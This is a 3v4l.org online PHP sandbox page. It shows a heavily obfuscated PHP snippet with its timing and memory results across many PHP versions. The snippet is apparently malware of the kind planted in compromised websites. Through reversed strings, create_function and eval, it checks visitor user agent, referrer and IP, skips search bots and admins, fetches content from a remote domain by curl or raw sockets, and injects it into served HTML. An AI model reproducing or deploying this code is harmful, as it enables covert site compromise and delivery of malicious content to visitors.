3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $slv = "strrev"; $s1v ="create_function"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $after = preg_replace("/(.*)/e",eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)),NULL); $fxujiztpwq = eval(str_replace(chr((117-80)), chr((404-312)), $after)); echo $fxujiztpwq;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.75
8.3.50.0230.00821.20
8.3.40.0110.00418.76
8.3.30.0120.00818.84
8.3.20.0070.00020.38
8.3.10.0030.00523.66
8.3.00.0040.00419.55
8.2.180.0040.01116.50
8.2.170.0070.00722.96
8.2.160.0100.00320.57
8.2.150.0050.00325.66
8.2.140.0000.00924.66
8.2.130.0080.00026.16
8.2.120.0060.00317.61
8.2.110.0070.00321.18
8.2.100.0040.00817.84
8.2.90.0030.00519.21
8.2.80.0040.00417.97
8.2.70.0060.00617.48
8.2.60.0030.00617.93
8.2.50.0030.00618.07
8.2.40.0040.00419.40
8.2.30.0060.00319.77
8.2.20.0000.00817.72
8.2.10.0030.00518.11
8.2.00.0040.00418.23
8.1.280.0100.01025.92
8.1.270.0160.00320.45
8.1.260.0070.00026.35
8.1.250.0000.00728.09
8.1.240.0070.00321.17
8.1.230.0040.00817.82
8.1.220.0060.00317.91
8.1.210.0000.00818.77
8.1.200.0090.00317.48
8.1.190.0060.00617.47
8.1.180.0000.00818.10
8.1.170.0050.00318.52
8.1.160.0000.00822.07
8.1.150.0040.00418.83
8.1.140.0040.00417.58
8.1.130.0030.00317.88
8.1.120.0040.00417.52
8.1.110.0070.00317.54
8.1.100.0070.00017.41
8.1.90.0000.00917.45
8.1.80.0070.00017.42
8.1.70.0070.00017.55
8.1.60.0040.00417.61
8.1.50.0000.00817.50
8.1.40.0000.00817.65
8.1.30.0000.00817.66
8.1.20.0050.00317.76
8.1.10.0000.00817.62
8.1.00.0000.00717.50
8.0.300.0030.00618.77
8.0.290.0040.00416.88
8.0.280.0040.00418.47
8.0.270.0030.00317.19
8.0.260.0030.00317.34
8.0.250.0020.00516.99
8.0.240.0000.00717.07
8.0.230.0050.00617.09
8.0.220.0000.00717.02
8.0.210.0040.00417.02
8.0.200.0030.00417.09
8.0.190.0030.00717.04
8.0.180.0070.00016.95
8.0.170.0000.00817.09
8.0.160.0080.00017.13
8.0.150.0000.00816.86
8.0.140.0080.00016.86
8.0.130.0030.00313.41
8.0.120.0100.00016.96
8.0.110.0070.00017.00
8.0.100.0030.00516.98
8.0.90.0030.00516.98
8.0.80.0030.01317.02
8.0.70.0020.00517.06
8.0.60.0000.00716.91
8.0.50.0070.00017.00
8.0.30.0080.01017.16
8.0.20.0060.01417.40
8.0.10.0070.00017.06
8.0.00.0050.01616.80
7.4.330.0000.00515.30
7.4.320.0000.00716.87
7.4.300.0030.00316.88
7.4.290.0040.00416.87
7.4.280.0080.00016.78
7.4.270.0040.00416.86
7.4.260.0040.00416.91
7.4.250.0000.00816.88
7.4.240.0050.00516.94
7.4.230.0040.00417.00
7.4.220.0160.00316.99
7.4.210.0090.00616.88
7.4.200.0050.00316.90
7.4.160.0180.00016.83
7.4.150.0120.00917.40
7.4.140.0140.00617.86
7.4.130.0150.00616.98
7.4.120.0090.01317.00
7.4.110.0060.01217.03
7.4.100.0130.01016.70
7.4.90.0140.00516.96
7.4.80.0120.00819.39
7.4.70.0160.00916.79
7.4.60.0070.01416.89
7.4.50.0000.00916.88
7.4.40.0070.01116.80
7.4.30.0030.01616.91
7.4.00.0070.01015.16
7.3.330.0000.00713.68
7.3.320.0060.00013.59
7.3.310.0000.00716.77
7.3.300.0070.00016.54
7.3.290.0090.01016.66
7.3.280.0120.00816.74
7.3.270.0110.00917.40
7.3.260.0000.01916.78
7.3.250.0100.00916.85
7.3.240.0150.00316.84
7.3.230.0120.00916.98
7.3.210.0040.01416.91
7.3.200.0090.00916.88
7.3.190.0120.01216.67
7.3.180.0120.00616.92
7.3.170.0120.01216.79
7.3.160.0060.01316.96
7.3.10.0040.01116.86
7.3.00.0110.00716.71
7.2.330.0130.00616.96
7.2.320.0060.01316.98
7.2.310.0120.00817.13
7.2.300.0090.00916.88
7.2.290.0080.01717.07
7.2.130.0080.00617.05
7.2.120.0090.00617.24
7.2.110.0140.00317.21
7.2.100.0130.00617.19
7.2.90.0000.01717.12
7.2.80.0130.00317.20
7.2.70.0060.00917.20
7.2.60.0070.00717.01
7.2.50.0070.00717.09
7.2.40.0000.00916.92
7.2.30.0000.01417.25
7.2.20.0040.00817.26
7.2.10.0090.00417.02
7.2.00.0080.00618.53
7.1.250.0080.00515.88
7.1.200.0030.00815.98
7.1.100.0040.00718.18
7.1.70.0030.00516.96
7.1.60.0030.01719.27
7.1.50.0160.01017.28
7.1.00.0030.07722.41
7.0.200.0080.00417.10
7.0.100.0100.06020.03
7.0.90.0000.08720.05
7.0.80.0370.06720.16
7.0.70.0070.04020.06
7.0.60.0070.07020.10
7.0.50.0100.08320.39
7.0.40.0130.07720.19
7.0.30.0100.05720.01
7.0.20.0100.08020.06
7.0.10.0030.04320.13
7.0.00.0030.05720.06
5.6.280.0030.07721.04
5.6.250.0100.08020.83
5.6.240.0000.04720.75
5.6.230.0130.03720.68
5.6.220.0170.07020.73
5.6.210.0100.08320.73
5.6.200.0130.07021.17
5.6.190.0070.06321.11
5.6.180.0100.07021.16
5.6.170.0130.06021.22
5.6.160.0100.08321.19
5.6.150.0100.07321.13
5.6.140.0030.05321.09
5.6.130.0000.04721.09
5.6.120.0070.09021.04
5.6.110.0130.08321.15
5.6.100.0070.06021.20
5.6.90.0100.04721.17
5.6.80.0030.04020.52
5.6.70.0070.06020.42
5.6.60.0100.08020.41
5.6.50.0100.08020.46
5.6.40.0030.08020.51
5.6.30.0070.07320.55
5.6.20.0100.07320.39
5.6.10.0100.08020.52
5.6.00.0030.05020.59
5.5.380.0070.05320.62
5.5.370.0100.04320.52
5.5.360.0100.06320.42
5.5.350.0030.05020.45
5.5.340.0030.08020.95
5.5.330.0070.07720.88
5.5.320.0070.08020.91
5.5.310.0130.06320.92
5.5.300.0100.08320.86
5.5.290.0070.07721.00
5.5.280.0000.06020.98
5.5.270.0030.08020.82
5.5.260.0070.05020.84
5.5.250.0100.06320.81
5.5.240.0100.06720.29
5.5.230.0100.07320.38
5.5.220.0000.06320.25
5.5.210.0070.08320.10
5.5.200.0030.07020.23
5.5.190.0070.08320.35
5.5.180.0100.08020.19
5.5.160.0030.08320.07
5.5.150.0030.08720.33
5.5.140.0130.08020.30
5.5.130.0100.08320.19
5.5.120.0070.08320.26
5.5.110.0070.06720.28
5.5.100.0100.06720.26
5.5.90.0070.05320.02
5.5.80.0000.08320.15
5.5.70.0100.07320.16
5.5.60.0130.07020.02
5.5.50.0030.03320.21
5.5.40.0070.07320.08
5.5.30.0130.07720.23
5.5.20.0200.07720.16
5.5.10.0030.08320.15
5.5.00.0130.07720.13
5.4.450.0100.07019.25
5.4.440.0030.07019.58
5.4.430.0070.08019.24
5.4.420.0130.08019.51
5.4.410.0030.08719.12
5.4.400.0200.06719.06
5.4.390.0200.07019.25
5.4.380.0030.04719.23
5.4.370.0030.07019.16
5.4.360.0070.08018.97
5.4.350.0130.07718.91
5.4.340.0030.04319.06
5.4.320.0100.06719.26
5.4.310.0100.08019.23
5.4.300.0070.08019.25
5.4.290.0030.05318.89
5.4.280.0070.08019.04
5.4.270.0170.06319.04
5.4.260.0100.06318.97
5.4.250.0070.07719.18
5.4.240.0100.07319.25
5.4.230.0130.06719.04
5.4.220.0170.06719.05
5.4.210.0100.05319.20
5.4.200.0170.07019.05
5.4.190.0130.06719.22
5.4.180.0100.07718.89
5.4.170.0030.07019.25
5.4.160.0070.08319.05
5.4.150.0130.07019.05
5.4.140.0070.07016.37
5.4.130.0030.05316.32
5.4.120.0030.05016.51
5.4.110.0100.07316.44
5.4.100.0070.07716.50
5.4.90.0070.07716.47
5.4.80.0000.05716.40
5.4.70.0070.07316.55
5.4.60.0100.05716.56
5.4.50.0030.06716.52
5.4.40.0100.04716.52
5.4.30.0070.07716.52
5.4.20.0130.05716.46
5.4.10.0000.07716.45
5.4.00.0070.07715.96

preferences:
60.91 ms | 401 KiB | 5 Q